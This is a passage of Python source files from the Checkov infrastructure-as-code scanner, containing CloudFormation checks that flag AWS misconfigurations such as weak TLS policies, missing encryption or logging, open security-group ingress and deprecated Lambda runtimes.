https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-listener.html :param conf: aws_alb_listener configuration :return: """ if 'Properties' in conf.keys(): if 'Protocol' in conf['Properties'].keys(): # Check SslPolicy only if protocol is HTTPS (ALB) or TLS (NLB). # Other protocols are not interesting within the context of this check. protocol = conf['Properties']['Protocol'] if protocol in ('HTTPS', 'TLS'): if 'SslPolicy' in conf['Properties'].keys(): if isinstance(conf['Properties']['SslPolicy'], str) and conf['Properties']['SslPolicy'].startswith(supported_policy_prefixes[protocol]): return CheckResult.PASSED return CheckResult.FAILED elif conf['Properties']['Protocol'] in ('TCP', 'UDP', 'TCP_UDP'): return CheckResult.PASSED actions = conf['Properties'].get('DefaultActions', []) for action in actions: if action in ConditionFunctions.__dict__.values() or action in IntrinsicFunctions.__dict__.values(): return CheckResult.UNKNOWN redirects = action.get("RedirectConfig", []) for redirect in force_list(redirects): if redirect.get("Protocol", []) == 'HTTPS': return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['Properties/Protocol', 'Properties/SslPolicy'] check = ALBListenerTLS12() ================================================ FILE: checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class APIGatewayAccessLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway has Access Logging enabled" id = "CKV_AWS_76" supported_resources = ['AWS::ApiGateway::Stage', "AWS::Serverless::Api"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/AccessLogSetting/DestinationArn' def get_expected_value(self): return ANY_VALUE check = APIGatewayAccessLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class APIGatewayAuthorization(BaseResourceCheck): def __init__(self) -> None: name = "Ensure there is no open access to back-end resources through API" id = "CKV_AWS_59" supported_resources = ('AWS::ApiGateway::Method',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["Properties"] if 'Properties' in conf.keys(): if 'HttpMethod' in conf['Properties'].keys() and 'AuthorizationType' in conf['Properties'].keys(): if conf['Properties']['HttpMethod'] != "OPTIONS" and conf['Properties']['AuthorizationType'] == "NONE": if 'ApiKeyRequired' not in conf['Properties'].keys() or conf['Properties']['ApiKeyRequired'] is False: self.evaluated_keys = ["Properties/HttpMethod", "Properties/AuthorizationType", "Properties/ApiKeyRequired"] return CheckResult.FAILED return CheckResult.PASSED check = APIGatewayAuthorization() ================================================ FILE: checkov/cloudformation/checks/resource/aws/APIGatewayCacheEnable.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayCacheEnable(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway caching is enabled" id = "CKV_AWS_120" supported_resources = ['AWS::ApiGateway::Stage', "AWS::Serverless::Api"] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/CacheClusterEnabled' check = APIGatewayCacheEnable() ================================================ FILE: checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class APIGatewayV2AccessLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway V2 has Access Logging enabled" id = "CKV_AWS_95" supported_resources = ['AWS::ApiGatewayV2::Stage', "AWS::Serverless::HttpApi"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/AccessLogSettings/DestinationArn' def get_expected_value(self): return ANY_VALUE check = APIGatewayV2AccessLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/APIGatewayXray.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayXray(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway has X-Ray Tracing enabled" id = "CKV_AWS_73" supported_resources = ['AWS::ApiGateway::Stage', "AWS::Serverless::Api"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/TracingEnabled' def get_expected_value(self): return True check = APIGatewayXray() ================================================ FILE: checkov/cloudformation/checks/resource/aws/AbsSecurityGroupUnrestrictedIngress.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck): def __init__(self, check_id, port) -> None: name = "Ensure no security groups allow ingress from 0.0.0.0:0 to port %d" % port supported_resources = ['AWS::EC2::SecurityGroup', 'AWS::EC2::SecurityGroupIngress'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf) -> CheckResult: """ Looks for configuration at security group ingress rules: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-security-group-ingress.html :param conf: aws_security_group configuration :return: """ rules = [] if conf['Type'] == 'AWS::EC2::SecurityGroup': if 'Properties' in conf.keys(): if 'SecurityGroupIngress' in conf['Properties'].keys(): self.evaluated_keys = ['Properties/SecurityGroupIngress'] rules = conf['Properties']['SecurityGroupIngress'] elif conf['Type'] == 'AWS::EC2::SecurityGroupIngress': if 'Properties' in conf.keys(): self.evaluated_keys = ['Properties'] rules = [] rules.append(conf['Properties']) if not isinstance(rules, list): return CheckResult.UNKNOWN for rule in rules: if rule.__contains__('FromPort') and rule.__contains__('ToPort'): if (isinstance(rule['FromPort'], int) and isinstance(rule['ToPort'], int)) or \ isinstance(rule['FromPort'], str) and isinstance(rule['ToPort'], str): if self.range(rule): if 'CidrIp' in rule.keys(): cidr = rule['CidrIp'] if cidr == '0.0.0.0/0': # nosec # nosec return CheckResult.FAILED elif 'CidrIpv6' in rule.keys() and \ rule['CidrIpv6'] in ['::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0']: return CheckResult.FAILED return CheckResult.PASSED def range(self, rule) -> bool: if int(rule['FromPort']) <= int(self.port) <= int(rule['ToPort']): return True return False ================================================ FILE: checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py ================================================ from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class AmazonMQBrokerPublicAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Amazon MQ Broker should not have public access" id = "CKV_AWS_69" supported_resources = ('AWS::AmazonMQ::Broker',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_expected_value(self) -> Any: return False def get_inspected_key(self) -> str: """ validates Amazon MQ Broker should not have public access https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-amazonmq-broker.html :return: """ return 'Properties/PubliclyAccessible' check = AmazonMQBrokerPublicAccess() ================================================ FILE: checkov/cloudformation/checks/resource/aws/AppSyncFieldLevelLogs.py ================================================ from typing import Any, List from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class AppSyncFieldLevelLogs(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AppSync has Field-Level logs enabled" id = "CKV_AWS_194" supported_resources = ("AWS::AppSync::GraphQLApi",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/LogConfig/FieldLogLevel" def get_expected_values(self) -> List[Any]: return ["ALL", "ERROR"] check = AppSyncFieldLevelLogs() ================================================ FILE: checkov/cloudformation/checks/resource/aws/AppSyncLogging.py ================================================ from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class AppSyncLogging(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AppSync has Logging enabled" id = "CKV_AWS_193" supported_resources = ("AWS::AppSync::GraphQLApi",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/LogConfig/CloudWatchLogsRoleArn" def get_expected_value(self) -> Any: return ANY_VALUE check = AppSyncLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class AthenaWorkgroupConfiguration(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption" id = "CKV_AWS_82" supported_resources = ("AWS::Athena::WorkGroup",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/WorkGroupConfiguration/EnforceWorkGroupConfiguration" check = AthenaWorkgroupConfiguration() ================================================ FILE: checkov/cloudformation/checks/resource/aws/AuroraEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class AuroraEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in Aurora is securely encrypted at rest" id = "CKV_AWS_96" supported_resources = ("AWS::RDS::DBCluster",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, dict[str, Any]]) -> CheckResult: # If you specify the SnapshotIdentifier or SourceDBInstanceIdentifier property, don't specify this property. # The value is inherited from the snapshot or source DB instance. # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-rds-dbcluster.html#cfn-rds-dbcluster-storageencrypted # Doc refers to 'SourceDBInstanceIdentifier' but that is not an available field. This is a doc error. 'SourceDBClusterIdentifier' is correct. properties = conf.get("Properties") if properties: if "SnapshotIdentifier" in properties.keys() or "SourceDBClusterIdentifier" in properties.keys(): return CheckResult.UNKNOWN # No snapshot or source DB; Use base class implementation return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "Properties/StorageEncrypted" check = AuroraEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/BackupVaultEncrypted.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class BackupVaultEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure Backup Vault is encrypted at rest using KMS CMK" id = "CKV_AWS_166" supported_resources = ['AWS::Backup::BackupVault'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/EncryptionKeyArn' def get_expected_value(self): return ANY_VALUE check = BackupVaultEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/BedrockAgentEncrypted.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class BedrockAgentEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure Bedrock Agent is encrypted with a CMK" id = "CKV_AWS_373" supported_resources = ['AWS::Bedrock::Agent'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/CustomerEncryptionKeyArn' def get_expected_value(self): return ANY_VALUE check = BedrockAgentEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudFrontTLS12.py ================================================ from typing import Any, Dict import re from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult _SECURE_RE = re.compile(r"^TLSv1\.(?:2|3)_\d{4}$") class CloudFrontTLS12(BaseResourceValueCheck): def __init__(self) -> None: name = "Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher" id = "CKV_AWS_174" supported_resources = ["AWS::CloudFront::Distribution"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/DistributionConfig/ViewerCertificate/MinimumProtocolVersion" @staticmethod def validate_value(value: Any) -> bool: return isinstance(value, str) and bool(_SECURE_RE.match(value)) def get_evaluated_keys(self): return [self.get_inspected_key()] def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: # Navigate CFN structure safely props = conf.get("Properties") if not isinstance(props, dict): return CheckResult.FAILED dist_cfg = props.get("DistributionConfig") if not isinstance(dist_cfg, dict): return CheckResult.FAILED viewer_cert = dist_cfg.get("ViewerCertificate") if not isinstance(viewer_cert, dict): return CheckResult.FAILED # If they use the CloudFront default cert, you can't set a secure policy -> fail explicitly if viewer_cert.get("CloudFrontDefaultCertificate") is True: return CheckResult.FAILED mpv = viewer_cert.get("MinimumProtocolVersion") if isinstance(mpv, str) and _SECURE_RE.match(mpv): return CheckResult.PASSED return CheckResult.FAILED check = CloudFrontTLS12() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupKMSKey.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudWatchLogGroupKMSKey(BaseResourceValueCheck): def __init__(self): name = "Ensure that CloudWatch Log Group is encrypted by KMS" id = "CKV_AWS_158" supported_resource = ['AWS::Logs::LogGroup'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def get_inspected_key(self): return 'Properties/KmsKeyId' def get_expected_value(self): return ANY_VALUE check = CloudWatchLogGroupKMSKey() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudWatchLogGroupRetention(BaseResourceValueCheck): def __init__(self): name = "Ensure that CloudWatch Log Group specifies retention days" id = "CKV_AWS_66" supported_resource = ['AWS::Logs::LogGroup'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def get_inspected_key(self): return 'Properties/RetentionInDays' def get_expected_value(self): return ANY_VALUE check = CloudWatchLogGroupRetention() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class CloudfrontDistributionEncryption(BaseResourceCheck): def __init__(self): name = "Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS" id = "CKV_AWS_34" supported_resources = ['AWS::CloudFront::Distribution'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for ViewerProtocolPolicy configuration at cloudfront distributions: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cloudfront-distribution-cachebehavior.html https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cloudfront-distribution-defaultcachebehavior.html :param conf: cloudfront configuration :return: """ self.evaluated_keys = ["Properties"] if 'Properties' in conf.keys(): if 'DistributionConfig' in conf['Properties'].keys(): if 'DefaultCacheBehavior' in conf['Properties']['DistributionConfig'].keys(): if 'ViewerProtocolPolicy' in conf['Properties']['DistributionConfig']['DefaultCacheBehavior'].keys(): if conf['Properties']['DistributionConfig']['DefaultCacheBehavior']['ViewerProtocolPolicy'] == 'allow-all': self.evaluated_keys = ["Properties/DistributionConfig/DefaultCacheBehavior/ViewerProtocolPolicy"] return CheckResult.FAILED if 'CacheBehaviors' in conf['Properties']['DistributionConfig'].keys(): if not isinstance(conf['Properties']['DistributionConfig']['CacheBehaviors'], list): return CheckResult.UNKNOWN for idx, behavior in enumerate(range(len(conf['Properties']['DistributionConfig']['CacheBehaviors']))): if 'ViewerProtocolPolicy' in conf['Properties']['DistributionConfig']['CacheBehaviors'][behavior].keys(): if conf['Properties']['DistributionConfig']['CacheBehaviors'][behavior]['ViewerProtocolPolicy'] == 'allow-all': self.evaluated_keys = [f"Properties/DistributionConfig/CacheBehaviors/[{idx}]/ViewerProtocolPolicy"] return CheckResult.FAILED return CheckResult.PASSED check = CloudfrontDistributionEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudfrontDistributionLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudFront Distribution has Access Logging enabled" id = "CKV_AWS_86" supported_resources = ['AWS::CloudFront::Distribution'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/DistributionConfig/Logging/Bucket' def get_expected_value(self): return ANY_VALUE check = CloudfrontDistributionLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudtrailEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure CloudTrail logs are encrypted at rest using KMS CMKs" id = "CKV_AWS_35" supported_resources = ("AWS::CloudTrail::Trail",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/KMSKeyId" def get_expected_value(self) -> Any: return ANY_VALUE check = CloudtrailEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudtrailLogValidation(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudTrail log file validation is enabled" id = "CKV_AWS_36" supported_resources = ['AWS::CloudTrail::Trail'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/EnableLogFileValidation' check = CloudtrailLogValidation() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudtrailMultiRegion(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudTrail is enabled in all Regions" id = "CKV_AWS_67" supported_resources = ['AWS::CloudTrail::Trail'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/IsMultiRegionTrail' check = CloudtrailMultiRegion() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class CodeBuildProjectEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that CodeBuild Project encryption is not disabled" id = "CKV_AWS_78" supported_resources = ("AWS::CodeBuild::Project",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: # Only Fail if Artifact Type is S3 and EncryptionDisabled is True. artifact_type = "" encryption_disabled = False properties = conf.get("Properties") if properties: self.evaluated_keys = ["Properties"] artifacts = properties.get("Artifacts") if artifacts and isinstance(artifacts, dict): self.evaluated_keys = ["Properties/Artifacts"] if "Type" in artifacts.keys(): artifact_type = artifacts["Type"] if "EncryptionDisabled" in artifacts.keys(): encryption_disabled = artifacts["EncryptionDisabled"] if artifact_type == "S3" and encryption_disabled is True: return CheckResult.FAILED return CheckResult.PASSED check = CodeBuildProjectEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/CognitoUnauthenticatedIdentities.py ================================================ from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class CognitoUnauthenticatedIdentities(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AWS Cognito identity pool does not allow unauthenticated guest access" id = "CKV_AWS_366" supported_resources = ('AWS::Cognito::IdentityPool',) categories = (CheckCategories.IAM,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_expected_value(self) -> Any: return False def get_inspected_key(self) -> str: return 'Properties/AllowUnauthenticatedIdentities' check = CognitoUnauthenticatedIdentities() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DAXEncryption.py ================================================ from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DAXEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure DAX is encrypted at rest (default is unencrypted)" id = "CKV_AWS_47" supported_resources = ['AWS::DAX::Cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/SSESpecification/SSEEnabled' def get_expected_value(self): return True check = DAXEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py ================================================ from typing import Any from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DMSReplicationInstancePubliclyAccessible(BaseResourceValueCheck): def __init__(self) -> None: name = "DMS replication instance should not be publicly accessible" id = "CKV_AWS_89" supported_resources = ("AWS::DMS::ReplicationInstance",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/PubliclyAccessible" def get_expected_value(self) -> Any: return False check = DMSReplicationInstancePubliclyAccessible() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DeprecatedLambdaRuntime.py ================================================ from typing import List, Any from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class DeprecatedLambdaRuntime(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Lambda Runtime is not deprecated" id = "CKV_AWS_363" supported_resources = ['AWS::Lambda::Function', 'AWS::Serverless::Function'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/Runtime" def get_forbidden_values(self) -> List[Any]: # Source: https://docs.aws.amazon.com/lambda/latest/dg/lambda-runtimes.html return ["dotnetcore3.1", "nodejs12.x", "python3.6", "python2.7", "dotnet5.0", "dotnetcore2.1", "ruby2.5", "nodejs10.x", "nodejs8.10", "nodejs4.3", "nodejs6.10", "dotnetcore1.0", "dotnetcore2.0", "nodejs4.3-edge", "nodejs", "java8", "python3.7", "go1.x", "provided", "ruby2.7", "nodejs14.x", "nodejs16.x", "python3.9", "dotnet7", "dotnet6" # , "nodejs18.x" # Uncomment on Sept 1, 2025 # , "provided.al2" # Uncomment on Jun 30, 2026 # , "python3.9" # Uncomment on Nov 3, 2025 ] check = DeprecatedLambdaRuntime() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py ================================================ from typing import Any, List from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class DocDBAuditLogs(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DocumentDB has audit logs enabled" id = "CKV_AWS_104" supported_resources = ["AWS::DocDB::DBClusterParameterGroup"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/Parameters/audit_logs" def get_expected_values(self) -> List[Any]: return ["all", "ddl", "dml_read", "dml_write", "enabled"] check = DocDBAuditLogs() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DocDBBackupRetention.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class DocDBBackupRetention(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DocumentDB has an adequate backup retention period" id = "CKV_AWS_360" supported_resources = ("AWS::DocDB::DBCluster",) categories = (CheckCategories.BACKUP_AND_RECOVERY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/BackupRetentionPeriod" def scan_resource_conf(self, conf) -> CheckResult: properties = conf.get("Properties") if properties: backup_retention_period = properties.get("BackupRetentionPeriod", 1) if backup_retention_period >= 7: return CheckResult.PASSED return CheckResult.FAILED check = DocDBBackupRetention() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DocDBEncryption.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class DocDBEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure DocumentDB is encrypted at rest (default is unencrypted)" id = "CKV_AWS_74" supported_resources = ("AWS::DocDB::DBCluster",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/StorageEncrypted" check = DocDBEncryption() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DocDBLogging.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck LOG_TYPES = ("profiler", "audit") class DocDBLogging(BaseResourceCheck): def __init__(self) -> None: name = "Ensure DocumentDB Logging is enabled" id = "CKV_AWS_85" supported_resources = ("AWS::DocDB::DBCluster",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: properties = conf.get("Properties") if properties: logs_exports = properties.get("EnableCloudwatchLogsExports") if logs_exports: if any(elem in logs_exports for elem in LOG_TYPES): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> list[str]: return ["Properties/EnableCloudwatchLogsExports"] check = DocDBLogging() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DocDBTLS.py ================================================ from typing import List, Any from checkov.cloudformation.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class DocDBTLS(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure DocumentDB TLS is not disabled" id = "CKV_AWS_90" supported_resources = ['AWS::DocDB::DBClusterParameterGroup'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "Properties/Parameters/tls" def get_forbidden_values(self) -> List[Any]: return ["disabled"] check = DocDBTLS() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DynamoDBTablesEncrypted.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class DynamoDBTablesEncrypted(BaseResourceCheck): def __init__(self): name = "Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK" id = "CKV_AWS_119" supported_resources = ["AWS::DynamoDB::Table"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): properties = conf.get('Properties') if properties is not None: sse_config = properties.get('SSESpecification') if sse_config is not None: sse_enabled = sse_config.get('SSEEnabled') sse_key = sse_config.get('KMSMasterKeyId') if sse_enabled and sse_key is not None: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["Properties/SSESpecification/SSEEnabled", "Properties/SSESpecification/KMSMasterKeyId"] check = DynamoDBTablesEncrypted() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DynamodbGlobalTableRecovery.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class DynamodbGlobalTableRecovery(BaseResourceValueCheck): def __init__(self): name = "Ensure DynamoDB global table point in time recovery (backup) is enabled" id = "CKV_AWS_165" supported_resources = ['AWS::DynamoDB::GlobalTable'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'Properties/Replicas/[0]/PointInTimeRecoverySpecification/PointInTimeRecoveryEnabled' check = DynamodbGlobalTableRecovery() ================================================ FILE: checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class DynamodbRecovery(BaseResourceValueCheck): def __init__(self): name = "Ensure 